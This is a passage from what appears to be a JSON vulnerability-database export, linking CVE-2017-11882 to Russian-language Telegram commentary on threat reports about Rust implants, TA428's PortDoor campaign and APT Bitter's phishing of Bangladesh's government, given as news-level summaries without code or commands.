\u0448\u0438\u0444\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439, \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0440\u0442\u00a035667.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Deep Instinct \u0442\u0430\u043a \u0438 \u043d\u0435 \u0441\u043c\u043e\u0433\u043b\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u043a\u0430\u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0430 \u043e\u0431\u0430 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430\u0442\u0430 Rust \u0438\u043c\u0435\u043b\u0438 0 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0432 VirusTotal.\n\n\u0422\u0430\u043a \u0447\u0442\u043e, \u0447\u044c\u044f-\u0442\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u0438\u043c\u0438\u0442\u0430\u0446\u0438\u0438 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u043d\u0430 \u0410\u0437\u0435\u0440\u0431\u0430\u0439\u0434\u0436\u0430\u043d \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u043a \u0420\u043e\u0441\u0441\u0438\u0438 \u0433\u0440\u0443\u043f\u043f \u043c\u043e\u0436\u0435\u0442 \u0438 \u0438\u043c\u0435\u043b\u0430 \u0431\u044b \u0432 \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u0448\u0430\u043d\u0441\u044b \u043d\u0430 \u0443\u0441\u043f\u0435\u0445, \u0435\u0441\u043b\u0438 \u0431\u044b \u043d\u0435 Deep Instinct \u0441\u043e \u0441\u0432\u043e\u0438\u043c \u043e\u0442\u0447\u0435\u0442\u043e\u043c.\n\n\u041d\u043e, \u043a\u0430\u043a \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430, \u0438\u043d\u043e\u0433\u0434\u0430 \u043e\u043d\u0438 \u0438\u043c\u0435\u044e\u0442 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u0432 404, \u043d\u0443 \u0430 \u043f\u043e\u043a\u0430 - IOC \u0438 MITRE \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 \u0432 \u043e\u0442\u0447\u0435\u0442\u0435.", "creation_timestamp": "2023-09-15T19:20:06.000000Z"}, {"uuid": "8b5a675f-d6ce-47bc-a56f-3798b524d085", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/true_secator/3272", "content": "\u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u0438\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0432 \u044f\u043d\u0432\u0430\u0440\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043e\u0431\u043e\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f \u0438 \u0433\u043e\u0441\u043e\u0440\u0433\u0430\u043d\u044b \u0420\u043e\u0441\u0441\u0438\u0438, \u0411\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u0438\u0438, \u0423\u043a\u0440\u0430\u0438\u043d\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435, \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e, \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0430. \n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u041b\u041a, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439, \u0430 \u0432 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \n\n\u0412 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0441\u0430\u043c\u043e\u0439 \u043a\u0438\u0431\u0435\u0440\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u0441\u0432\u0435\u0440\u0445\u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0435\u0442 - \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0445  RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Microsoft Office \u043f\u044f\u0442\u0438\u043b\u0435\u0442\u043d\u0435\u0439 \u0434\u0430\u0432\u043d\u043e\u0441\u0442\u0438 CVE-2017-11882. \u0414\u0430\u043b\u044c\u0448\u0435 \u0432 \u0445\u043e\u0434 \u0448\u0435\u043b RAT (Remote Access Trojan) PortDoor, \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 \u0438\u043d\u0444\u043e\u0441\u0435\u043a \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Cybereason.\n\n\u041a\u0440\u043e\u043c\u0435 PortDoor \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u044f\u0442\u044c \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u0432 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c. \u0412\u0441\u0435 \u0438\u0437 \u043d\u0438\u0445, \u043a\u0440\u043e\u043c\u0435 \u043e\u0434\u043d\u043e\u0433\u043e, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043d\u0435\u0441\u043b\u0438 \u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT TA428. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043e \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0432 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u044f\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u044f\u043c\u043e \u043d\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0446\u0435\u043d\u0442\u0440 \u0432 \u041a\u041d\u0420. \n\n\u0414\u0430\u043d\u043d\u0430\u044f \u043a\u0438\u0431\u0435\u0440\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043b\u0438\u0448\u043d\u0438\u0439 \u0440\u0430\u0437 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442, \u0447\u0442\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u041f\u041e - \u0437\u0430\u043b\u043e\u0433 \u0434\u043e\u043b\u0433\u043e\u0439 \u0438 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e\u0439 \u0436\u0438\u0437\u043d\u0438 \u043b\u044e\u0431\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e\u0440\u043e\u0436\u0438\u0442 \u0441\u0432\u043e\u0435\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e.\n\n\u041f\u0440\u043e \u0422\u0410428 \u0436\u0435 \u0438\u043c\u0435\u0435\u043c \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435. \u042d\u0442\u0430 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u0430\u044f APT \u0431\u044b\u043b\u0430 \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0430 Proofpoint \u0432 2019 \u0433\u043e\u0434\u0443 \u0438 \u0441 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u0440\u044f\u0434\u043e\u043c \u0433\u0440\u043e\u043c\u043a\u0438\u0445 \u0432\u0437\u043b\u043e\u043c\u043e\u0432 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0440\u0435\u0441\u0443\u0440\u0441\u043e\u0432 \u0440\u044f\u0434\u0430 \u0441\u0442\u0440\u0430\u043d. \u0422\u0430\u043a, \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 \u0441 2018 \u043f\u043e 2020 \u0433\u043e\u0434 \u043e\u043d\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0448\u043f\u0438\u043e\u043d\u0438\u043b\u0438 \u0437\u0430 \u043c\u043e\u043d\u0433\u043e\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u0433\u043e\u0441\u0441\u043b\u0443\u0436\u0430\u0449\u0438\u043c\u0438 \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430 Able Desktop, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u043d\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043f\u043e\u0442\u0440\u043e\u0448\u0438\u043b\u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435.\n\n\u0412 \u043a\u043e\u043d\u0446\u0435 2020 \u0433\u043e\u0434\u0430 \u043a\u0438\u0442\u0430\u0439\u0446\u044b \u0432\u0441\u043a\u0440\u044b\u043b\u0438 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0441\u043a\u0438\u0439 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0446\u0435\u043d\u0442\u0440 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (VGCA), \u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0447\u0435\u0433\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0441\u0430\u0439\u0442 \u041f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0412\u044c\u0435\u0442\u043d\u0430\u043c\u0430, \u0432\u043f\u0435\u043d\u0434\u044e\u0440\u0438\u0432 \u043d\u0430 \u043d\u0435\u0433\u043e \u0434\u0432\u0430 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c Smanager \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0449\u0438\u043a\u0430.\n\n\u041d\u0443 \u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0432\u0435\u0441\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u043a\u0438\u0439 \u043d\u0435\u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0439 \u041d\u0418\u0418, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u043f\u0438\u0442\u0435\u0440\u0441\u043a\u043e\u0435 \u0426\u041a\u0411 \u0420\u0443\u0431\u0438\u043d.\n\n\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c TA428 - \u0433\u0440\u0443\u043f\u043f\u0430 \u0441\u043a\u0438\u043b\u043e\u0432\u0430\u043d\u043d\u0430\u044f, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u0445 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u0436\u0430. \u0421\u0443\u0434\u044f \u043f\u043e \u0440\u044f\u0434\u0443 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u0432, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u043e \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f\u043c \u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438, - \u044d\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0431\u043e\u043b\u0435\u0435 \u043a\u0440\u0443\u043f\u043d\u043e\u0439 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 APT, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e Winnti \u0438\u043b\u0438 Tonto (\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u043e\u0438\u0442 \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0414\u0435\u043f\u0430\u0440\u0442\u0430\u043c\u0435\u043d\u0442 \u041d\u041e\u0410\u041a).", "creation_timestamp": "2022-08-09T19:50:03.000000Z"}, {"uuid": "ece86b02-a273-4306-a2f4-470c762a762e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/2937", "content": "\u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b APT Bitter (\u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0430\u044f \u043f\u0440\u0435\u0438\u043c\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u043f\u043e \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0443 \u0438 \u041a\u0438\u0442\u0430\u044e, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u0441\u0442\u043e\u0438\u0442 \u0418\u043d\u0434\u0438\u044f).\n\n\u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0433\u0440\u0443\u043f\u043f\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c\u0438 Cisco Talos \u0432 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u043e\u0432\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 2021 \u0433\u043e\u0434\u0430 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 Bitter, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u044b\u043c \u0441 2013 \u0433\u043e\u0434\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u0443\u044e\u0442 \u044d\u0442\u0443 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u0441 Bitter \u043f\u043e \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0447\u0430\u0441\u0442\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 C2 \u0441 \u0440\u0430\u043d\u0435\u0435 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0433\u0440\u0443\u043f\u043f\u044b, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a \u0438 \u0441\u0445\u0435\u043c\u044b \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0443\u043b\u0435\u0439.\n\n\u0410\u0442\u0430\u043a\u0438 \u043d\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0446\u0435\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u044b \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438 \u0434\u0432\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043e\u0431\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438\u0441\u044c \u0441 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u043d\u0430 \u043a\u0430\u043d\u0430\u043b\u0435 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u0430\u0441\u044c \u0432 \u0442\u0438\u043f\u0435 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u044b\u0445 \u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u043f\u0438\u0441\u044c\u043c\u0443: \u043e\u0434\u043d\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0438 \u0441\u043e\u0431\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 .RTF, \u0430 \u0443 \u0434\u0440\u0443\u0433\u0438\u0435 - \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 .XLSX.\n\n\u041e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c \u044d\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043b\u0441\u044f \u043f\u043e\u0434 \u043f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438. \u0412\u043e \u043c\u043d\u043e\u0433\u043e\u043c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Zimbra, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0441 \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438/\u0434\u043e\u043c\u0435\u043d\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0422\u0435\u043c\u0430\u0442\u0438\u043a\u0430 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u043a\u0430\u0441\u0430\u043b\u0430\u0441\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0432 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0438 \u0441 \u0432\u043d\u043e\u0432\u044c \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u043c \u0432 \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448 \u0440\u0435\u0433\u043b\u0430\u043c\u0435\u043d\u0442\u043e\u043c  \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u043b\u0438 NEIR \u0434\u043b\u044f \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u0430.\n\n\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b RTF \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 